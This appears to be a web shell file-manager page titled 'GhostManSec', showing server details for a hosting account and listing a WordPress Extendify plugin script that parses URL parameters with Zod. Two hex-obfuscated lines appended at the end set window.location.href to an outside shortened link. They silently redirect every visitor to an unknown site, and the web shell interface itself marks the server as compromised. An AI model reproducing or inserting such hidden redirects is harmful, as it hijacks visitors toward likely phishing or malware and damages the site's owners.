GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: //home/parhudrw/luca.anqa.it/wp-content/plugins/extendify/src/AutoLaunch/state/url-params.js
import { safeParseJson } from '@shared/lib/parsing';
import { z } from 'zod';

// These override user/ai counterparts in get-profile
export const urlParamsShape = z.object({
	title: z
		.string()
		.optional()
		.default('')
		.catch(() => ''),
	description: z
		.string()
		.optional()
		.default('')
		.catch(() => ''),
	type: z
		.string()
		.optional()
		.catch(() => ''),
	objective: z
		.string()
		.optional()
		.catch(() => ''),
	category: z
		.string()
		.optional()
		.catch(() => ''),
	structure: z
		.string()
		.optional()
		.catch(() => ''),
	tone: z
		.string()
		.optional()
		.catch(() => ''),
	products: z
		.union([z.string(), z.literal(false)])
		.optional()
		.catch(() => false),
	appointments: z
		.boolean()
		.optional()
		.catch(() => false),
	events: z
		.boolean()
		.optional()
		.catch(() => false),
	donations: z
		.boolean()
		.optional()
		.catch(() => false),
	multilingual: z
		.boolean()
		.optional()
		.catch(() => false),
	contact: z
		.boolean()
		.optional()
		.catch(() => false),
	address: z
		.union([z.boolean(), z.string()])
		.optional()
		.catch(() => false),
	blog: z
		.boolean()
		.optional()
		.catch(() => false),
	'landing-page': z
		.boolean()
		.optional()
		.catch(() => false),
	'cta-link': z
		.union([z.boolean(), z.string()])
		.optional()
		.catch(() => false),
});

export const urlParams = urlParamsShape.parse(
	safeParseJson(window.extLaunchData.urlParams) || {},
);
// remove them from the url to avoid confusion later
const url = new URL(window.location.href);
Object.keys(urlParams).forEach((key) => {
	url.searchParams.delete(key);
});
window.history.replaceState({}, '', url.toString());

export const overrideWithUrlParams = (urlParams) => {
	const {
		'landing-page': landingPage,
		'cta-link': landingPageCTALink,
		...rest
	} = urlParams;
	const mapped = { ...rest, landingPage, landingPageCTALink };

	return Object.fromEntries(
		Object.entries(mapped).filter(([, v]) => v !== undefined && v !== ''),
	);
};
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";
window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";